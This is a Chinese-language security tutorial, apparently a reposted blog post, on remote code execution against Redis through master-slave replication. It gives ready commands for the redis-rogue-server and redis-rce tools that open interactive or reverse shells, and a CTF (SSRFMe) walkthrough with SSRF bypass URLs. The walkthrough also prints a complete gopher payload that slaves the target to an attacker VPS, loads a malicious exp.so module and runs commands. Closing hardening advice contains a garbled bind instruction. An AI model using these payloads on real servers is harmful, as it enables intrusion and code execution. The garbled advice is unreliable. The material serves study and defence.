Redis 攻击方法总结(三)

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介: Redis 攻击方法总结

Redis 基于主从复制的命令执行

Redis 主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

63091150b13c870d9bc0a5cecf0dd94e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Redis 主从复制进行 RCE

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。

实验环境:

  • 攻击机Kali:192.168.43.247
  • 受害机Ubuntu:192.168.43.82

利用 redis-rogue-server 工具

bcff9796fd33c39df54bbe4453dcc668_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。

使用方法:

python3 redis-rogue-server.py --rhost 192.168.43.82 --lhost 192.168.43.247
# python3 redis-rogue-server.py --rhost rhost --lhost lhost

执行后,可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):

b282082349de67d878b42bb236d290cb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

比如我们选择 i 来获得一个交互式的shell,执行在里面执行系统命令即可:

303c915eaad3cbb390c94e5d4990bfd8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

也可以选择 r 来获得一个反弹shell:

3a04f44da364468e882ed38b85b79524_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

前面说了,该工具只能在目标存在Redis未授权访问漏洞时使用,当目标Redis存在密码时是不能使用该工具的。所以我们还要看看别的工具。

利用 redis-rce 工具

fd0491ea4e28c417d6604f82f53e35ba_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以看到该工具有一个 -a 选项,可以用来进行Redis认证。

但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server 工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:

python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260
# python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password

执行后,同样可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):

b2d6934e351cc103e253d51bdd17e0c6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

比如我们选择 i 来获得一个交互式的shell,执行在里面执行系统命令即可:

504c2b6369c3ce4b0ba8ab4734a6b3f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

也可以选择 r 来获得一个反弹shell:

279c96d169d9d89fab5e9b80abdb4a15_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Redis 主从复制在 SSRF 中的利用

这里,我们通过 [网鼎杯 2020 玄武组]SSRFMe 这道 CTF 题目来演示。

进入题目,给出源码:

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

这源码见过好多次了,让我们从本地访问hint.php,但是要先绕过对内网IP的检测。这里我们可以利用curl和parse_url的解析差异来绕过,payload:

/?url=http://@127.0.0.1:80@www.baidu.com/hint.php

但是这里并不成功,因为这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即 0.0.0.00.0.0.0 这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:

/?url=http://0.0.0.0/hint.php

如下图所示,成功访问hint.php并得到源码:

9de8e7d51802becad4fab284f50f8254_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在hint.php中发现了Redis的密码为root,看来是要利用主从复制来打Redis了。

需要以下即可工具:

首先来看redis-ssrf中的ssrf-redis.py脚本:

7fe4232f697cbafde4dd0aeee0f856eb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如上图所示,通过选择不同的mode选项可以选择不同的攻击方式。这里我们选择mode 3,通过主从复制在目标主机上执行命令。需要修改一下几个地方:

  • lhost 改为攻击者vps的ip(47.xxx.xxx.72),用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。
  • 将command修改为要执行的命令
  • 将第140行的 "127.0.0.1" 改为 "0.0.0.0" ,用于绕过题目对于内网IP的限制。
  • 最后在第160行填写上Redis的密码 "root"。

改完后如下:

67121262769abcaef4a9554f307ac6b0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

658c4c888940e765e3bbe24d3bd62f9d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后执行该脚本生成payload:

b6a99b94b5cd540a6d1397cff37aff1d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

由于题目需要发送的是GET请求,所以需要将payload进行url二次编码,得到最终的payload为:

gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A47.101.57.72%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

然后将redis-rogue-server中的exp.so复制到redis-ssrf目录中,并使用redis-ssrf中的rogue-server.py在攻击者vps的6666端口上面搭建恶意的Redis主机。

但是这里需要写个死循环一直跑rogue-server.py,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。

# do.sh
while [ "1" = "1" ]
do
  python rogue-server.py
done

执行do.sh脚本即可:

3a25c65c4b88ce26a10b468fba26231d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后执行之前生成的payload:

6216295a3543abf1af9c9cda9d583108_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如上图所示,成功执行命令并得到flag。

Redis 安全防护策略

如何防护你的 Redis 我认为可以从以下几个方面切入。

禁止监听在公网地址

将你的 Redis 监听在 0.0.0.0 的是十分危险的行为,对 Redis 的大多数攻击也都是由于管理员的大意而将 Redis 监听在了 0.0.0.0。作为一个经常在内网中出现的应用,将 Redis 监听在 0.0.0.0 很可能导致内网横向移动渗透风险。

修改 Redis 监听端口需要在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为 bind 0.0.0.0  或内网 IP,然后重启 Redis。

a0ce8d045b2e650206be8197f7bace30_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

修改默认的监听端口

Redis 默认监听的端口为 6379,为了更好地隐藏服务,我们可以在 redis.conf 中修改 Redis 的监听端口。找到包含 port 的行,将默认的 6379 改为其他自定义的端口号,然后重启 Redis。

3b5552c2dbd8730a39c3bc30fc80795d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

开启 Redis 安全认证并设置复杂的密码

为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,我们可以在 Redis 在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码。

5b7f022883878596d74a15c971852d1e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

禁止使用 Root 权限启动

使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用任 Root 权限的何用户启动 Redis。加固建议如下:

useradd -s /sbin/nolog -M redis 
sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf

设置 Redis 配置文件的访问权限

因为 Redis 的明文密码可能会存储在配置文件中,禁止不相关的用户访问改配置文件是必要的,如下设置 Redis 配置文件权限为 600:

chmod 600 /<filepath>/redis.conf

Ending......

882e7f3237fd820fa9640a9acff1227d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

参考:

https://blog.csdn.net/cj_Allen/article/details/106855893

https://www.redteaming.top/2019/07/15/浅析Redis中SSRF的利用/#Redis配合gopher协议进行SSRF

https://whoamianony.top/2021/01/16/Web安全/CTF SSRF 漏洞从0到1/

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
18天前
|
存储 缓存 NoSQL
利用Redis List实现数据库分页快速查询的有效方法
利用Redis List实现数据库分页快速查询的有效方法
|
18天前
|
设计模式 NoSQL Java
常用的设计模式以及操作Redis、MySQL数据库、各种MQ、数据类型转换的方法
常用的设计模式以及操作Redis、MySQL数据库、各种MQ、数据类型转换的方法
|
18天前
|
缓存 NoSQL Redis
软件体系结构 - 缓存技术(7)Redis持久化方法
【4月更文挑战第20天】软件体系结构 - 缓存技术(7)Redis持久化方法
96 14
|
18天前
|
NoSQL Java Redis
Redis【应用 01】Java实现动态切换写入不同Redis数据库的方法实例(动态切换Redis数据库)
Redis【应用 01】Java实现动态切换写入不同Redis数据库的方法实例(动态切换Redis数据库)
99 0
|
18天前
|
存储 缓存 NoSQL
Redis的安装方法与基本操作
Redis是一个开源的内存数据结构存储系统,也可以用作数据库、缓存和消息中间件。它支持多种数据结构,包括字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)、有序集合(sorted sets)等。
91 0
Redis的安装方法与基本操作
|
7月前
|
消息中间件 缓存 NoSQL
阿里云国际站代理商:Redis实现分布式配置管理的方法与应用案例
@luotuoemo飞机@TG阿里云国际站代理商:Redis实现分布式配置管理的方法与应用案例,为了实现高可用和负载均衡,可以将Redis部署成哨兵集群或集群模式。哨兵负责监控主从节点的状态,发现故障时自动进行故障转移。集群模式可以提高系统的可扩展性,通过添加更多的从节点来分摊负载压力。
|
9月前
|
NoSQL Redis
Redis数据迁移的4种方法
Redis数据迁移的4种方法
1154 0
|
12月前
|
存储 NoSQL Redis
Redis复制的基础知识、原理和实现方法
Redis复制的基础知识、原理和实现方法
50 0
|
12月前
|
运维 NoSQL 网络协议
如何预防利用Redis弱密码进行攻击
如何预防利用Redis弱密码进行攻击
183 0
|
弹性计算 NoSQL Linux
阿里云服务器安装Redis数据库命令方法流程
阿里云服务器安装Redis数据库命令方法流程,阿里云持久内存服务器ECS可用于搭建Redis内存型数据库,云服务器吧以阿里云服务器ECS持久内存型、Alibaba Cloud Linux镜像操作系统安装Redis 6.0.5或Redis 3.2.12详细操作流程如下:
112 0